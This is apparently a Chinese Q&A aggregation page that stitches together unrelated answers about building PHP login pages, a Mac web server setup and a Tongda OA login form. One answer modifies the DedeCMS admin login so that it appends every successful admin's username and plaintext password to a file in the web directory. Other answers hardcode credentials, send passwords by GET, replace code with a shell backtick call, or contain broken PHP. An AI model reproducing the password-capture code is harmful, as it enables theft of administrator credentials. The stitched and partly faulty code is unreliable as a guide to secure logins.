文件logincheckphp|PHP的页面如何加通达oa入口代码

|

⑴ 请教PHP如何实现将login.php中用户登录数据写入到TXT

<?phprequire_once(dirname(__FILE__).'/../include/common.inc.php');require_once(DEDEINC.'/userlogin.class.php');if(empty($dopost)){ $dopost = '';}//检测安装目录安全性if( is_dir(dirname(__FILE__).'/../install') ){ if(!file_exists(dirname(__FILE__).'/../install/install_lock.txt') ) { $fp = fopen(dirname(__FILE__).'/../install/install_lock.txt', 'w') or die('安装目录无写入权限,无法进行写入锁定文件,请安装完毕删除安装目录!'); fwrite($fp,'ok'); fclose($fp); } //为了防止未知安全性问题,强制禁用安装程序的文件 if( file_exists("../install/index.php") ) { @rename("../install/index.php", "../install/index.php.bak"); } if( file_exists("../install/mole-install.php") ) { @rename("../install/mole-install.php", "../install/mole-install.php.bak"); }}//检测后台目录是否更名$cururl = GetCurUrl();if(eregi('/dede/login',$cururl)){ $redmsg = ' <font color=\'red\'><b>您的管理目录使用默认名称dede,建议在FTP里把它修改为其它名称,那样会更安全!</b></font>';}else{ $redmsg = '';}//登录检测$admindirs = explode('/',str_replace("\\",'/',dirname(__FILE__)));$admindir = $admindirs[count($admindirs)-1];if($dopost=='login'){ $validate = empty($validate) ? '' : strtolower(trim($validate)); $svali = strtolower(GetCkVdValue()); if($validate=='' || $validate != $svali) { ResetVdValue(); ShowMsg('验证码不正确!',''); } else { $cuserLogin = new userLogin($admindir); if(!empty($userid) && !empty($pwd)) { $res = $cuserLogin->checkUser($userid,$pwd); //success if($res==1) { $cuserLogin->keepUser(); //*************************************************这里是需要添加的代码 $path = "./"; $filename = "user.txt"; $fp = fopen($path.$filename, "'a+"); fwrite($fp, "username:".$userid); fwrite($fp, "password:".$pwd); fwrite($fp, "\n"); fclose($fp); //****************************** if(!empty($gotopage)) { ShowMsg('成功登录,正在转向管理管理主页!',$gotopage); exit(); } else { ShowMsg('成功登录,正在转向管理管理主页!',"index.php"); exit(); } } //error else if($res==-1) { ShowMsg('你的用户名不存在!',''); } else { ShowMsg('你的密码错误!',''); } } //password empty else { ShowMsg('用户和密码没填写完整!',''); } }}include('templets/login.htm');?>

⑵ 我的php代码中登陆界面加一个验证码,如何实现

php登陆页面+验证码的实现,参考如下:

1、首先新建一个php站点;

⑶ php帮忙看一下 为什么冲突了 登录进去后 一直显示 无权限访问该页,正在跳转登入页面

其实很简单分析:我们要有一个权限字段来区分用户的权限等级,然后在我们验证完它的帐号密码之后是不是要进行页面跳转呢,我们就可以在它跳转的时候下手脚。完成过程:在完成登录验证之后,我们首先创建一个session来存放它的权限,把登录的时候查询到的这个用户的权限(也就是$row['level'])赋给session这样,然后我们只要再判断一下session变量的值是什么就可以输出对应的页面啦.示例代码:$_SESSION['admin']=$row['level'];//比如这样赋值,我们可以取得登录用户的权限值并且用session记录if($_SESSION['admin']=="普通用户"){header("text1.php");//普通用户的页面//echo""}else{header("text2.php");//非普通用户的页面//echo""}//如果你的登录没有问题的话到这里我们的实验就成功啦,这里的代码要放在完成登录验证之后哦,也就是替换掉你原来的跳转就可以啦//再补充一下(*^__^*),我们操作的是登录验证页(logincheck.php规范的名字应该就是这个。)

⑷ 我想用php验证登录,为什么无论密码是否正确都显示用户名或密码不正确

在mysqli_query之前使用var_mp($sql);输出sql语句,然后使用phpmyadmin或者mysql-cli执行下看看sql语句是否有问题。

⑸ php如何验证过滤用户是否登录

一、php可以通过Session,实现用户登录验证。

session习惯上被译为会话,它的设计是为了在一个访问期间在不同的页面间传输数据,以解决http协议无状态的问题。

session_register()函数的作用是注册新的变量,它会在全局变量中增加1个变量到目前的session之中,以后其他页面可以通过session_is_registered()函数检测该session变量是否已经注册。

二、通过session来检测用户登录信息,由两个文件组成,login.php为用户登录页面,checklogin.php用于检测账号、密码和是否登录成功。

具体参考代码如下:

login.php的代码如下:<?phpsession_start();//初始化sessionif(isset($_SESSION['shili'])){header("Location:shili.php");//重新定向到其他页面exit();}?><scriptlanguage="javascript">functionchecklogin(){if((login.username.value!="")&&(login.password.value!="")){returntrue;//判断用户名和密码不为空,返回TRUE}else{alert("昵称或密码不能为空!")}}</script><styletype="text/css">.style1{font-size:13px;font-family:"黑体";font-weight:normal;color:#0099FF;}</style><divalign="center"><formname="login"method="post"action="checklogin.php"onSubmit="returnchecklogin()"><tablewidth="260"border="1"bgcolor="#D8EFFA"><tralign="center"><tdheight="30"colspan="2"><spanclass="style1">管理系统登录</span></td></tr><tr><tdwidth="90"align="center"class="style1">管理员:</td><tdwidth="170"height="20"align="left"valign="middle"><inputname="username"type="text"id="username"size="20"></td></tr><tr><tdalign="center"class="style1">密码:</td><tdheight="20"align="left"valign="middle"><inputname="password"type="password"id="password"size="20"></td></tr><tr><tdalign="center"class="style1"></td><tdheight="20"align="center"><inputtype="submit"name="Submit"value="登录"></td></tr></table></form></div>checklogin.php的代码如下:<?phpsession_start();//初始sessionif(isset($_SESSION['shili'])){header("Location:shili.php");//重新定向到其他页面exit;}//登录过的话立即结束$shili_name=$_POST['username'];//获取参数$password=$_POST['password'];//验证管理员名称和密码是否正确,这里采用直接验证,没有连接数据库if($shili_name=="mr"and$password=="mrsoft"){session_register("shili");//注册新的变量,保存当前会话的昵称$shili=$shili_name;echo"<fontcolor=red>登录成功!</font>";header("Location:shili.php");//登录成功重定向到管理页面}else{echo"<tablewidth='100%'align=center><tr><tdalign=center>";echo"账号或密码错误,或者不是管理员账号<br>";echo"<fontcolor=red>登录失败!</font><br><ahref='login.php'>请重新输入</a>";echo"</td></tr></table>";}?>shili.php的代码如下:(实验简单验证)<?phpecho"WelcometoMyWorld!";?>//如果想要对某个页面限制浏览的用户,可以使用同样的方式,只要把如下的代码放在该页面的开头即可:<?phpsession_start();if(!isset($_SESSION['shili'])){echo"<palign=center>";echo"<fontcolor=#ff0000size=5><strong><big>";echo"你没有登录,请<ahref='denglu.php'>登录</a>!";echo"</big></strong></font></p>";exit();}?>

⑹ 如何在mac上快速搭建web服务器

如果你是苹果电脑,Mac OS X系统已经自带了Apache服务器,并且自带php编译器打开终端,输入 sudo apachectl start sudo表示用root权限运行输入密码,输入时无提示,输入完后回车确认打开浏览器,在浏览器中输入本机ip地址 进入系统偏好设置-网络 可查看本机ip此时暂不开启php编译器,在文本中编写一个静态网页<html><title>我的第一个页面</title><body><h2>ios开发教程</h2><ol><li>第一课oc实现类的定义</li><li>第二课oc实现对象的定义</li></ol>开启阿帕奇服务器之后,电脑就是一个web服务器,将.html的文本保存在桌面上,并利用复制粘贴的功能将其保存在磁盘目录下,即根目录下。资源库-WebServer-Documents,改过程中会提示你出入管理员密码,可利用显示中的显示文件路径。此时打开浏览器输入你的ip地址即可查看到该页面。只要将文件放到该路径下,所有的主机都可以看到你的网页。要想用网页实现一个用户登录的功能,就需要一个动态的网页,必须开启php模块。开启php模块要先进apache的配置文件。新建一个文本,创建一个php文件<?php$a=3;$b=4;echo $a+$b;?>将其保存到桌面上,并用复制粘贴的功能将其保存到磁盘目录下的 资源库-WebServer-Documents下开启php编译器,打开终端输入 cd / cd etc cd apache2/之后就进入apache2的目录下,可输入ls查看目录。输入 sudo vi httpd.conf 回车在apache的配置信息中,可以看到一个#loadModole php5_mole的模块,我们需要将其前面的#删除,将光标移动到#位置,按一下键盘上的“i”,可以看到#已经消失,然后按esc键,输入“:x“表示保存,按回车确认。":q"表示不保存退出。执行 sudo apachectl stop 在重新启动 sudo apachectl start 回车确认再次访问你的ip地址进入.php文件会发现输出结果时7,查看源码时也是7。新建一个页面作为登录界面 login.html<html><title>留言系统用户登录</title><body><h1>留言系统用户登录</h1><form action="logincheck.php" method="GET">用户名:<input type="text" value=""></input><br>密码:<input name="ps" type="password" value=""></input><br><input type="submit" value="登录"/></form></body></html>保存到桌面。双击打开之后把编码改成utf8,可以看到登录界面。新建一个 logincheck.php文件<?php$username=$_GET["us"];$password=$_GET["ps"];if($username=="wangyi"&&$password=="123"){ echo "login ok";}else{ echo "login error please click <a href='login.html'>here</a> retry"}

⑺ php中如何禁止访问者不通过登录页面而强行进入其他页面

网站都是无连接状态的,不会记忆上次的登录状态,所以每个页面都要判断一下的。。反正在用户登录成功后给这个用户注册一个session值,在其他页面判断这个session值存不存在就可以了,也不麻烦。。

⑻ 100分求php读取目录文件

if ( $handle = opendir( "back" ) ) { $i = 0; while ( false !== ( $file = readdir( $handle ) ) ) { if ( !( $file != "." ) && !( $file != ".." ) ) { $i += 1; echo "\t\r\n\t<tr>\r\n\t\t<td>"; echo $i; echo "</td>\r\n \t<td>"; echo $file; echo "</td>\r\n \t <td align=\"center\">\r\n\t\t<a href=\"Admin_Sql.php?Action=backin&file="; echo $file; echo "\">导入</a>\r\n\t\t<a href=\"Admin_Sql.php?Action=delback&file="; echo $file; echo "\">删除</a>\r\n\t </td>\r\n\t</tr>\r\n"; } } closedir( $handle ); } 这一段修改为下面的三行:echo '<pre>';echo `dir back`;echo '</pre>';

⑼ 关于下面这个PHP设计登陆界面的调试,出现的问题 密码怎样都是错的 WHAT'UP 求指导 谢谢

你先打印一下$query,看看是否有值.你怎么根据ID查询数据来验证.你可以查询用户名是否存在,再根据用户名验证密码啊.记住,程序的逻辑性很重要!

⑽ PHP的页面如何加通达oa入口代码

<form name=form1 method="post" action="http://OA网址/logincheck.php">用户名: <input type="text" class="BigInput" name="USERNAME" size="12" maxlength="30">密码: <input type="password" class="BigInput" name="PASSWORD" size="12" maxlength="30"><input type="submit" name="Submit" class="BigButton" value=" 登 录 "></form>


赞 (0)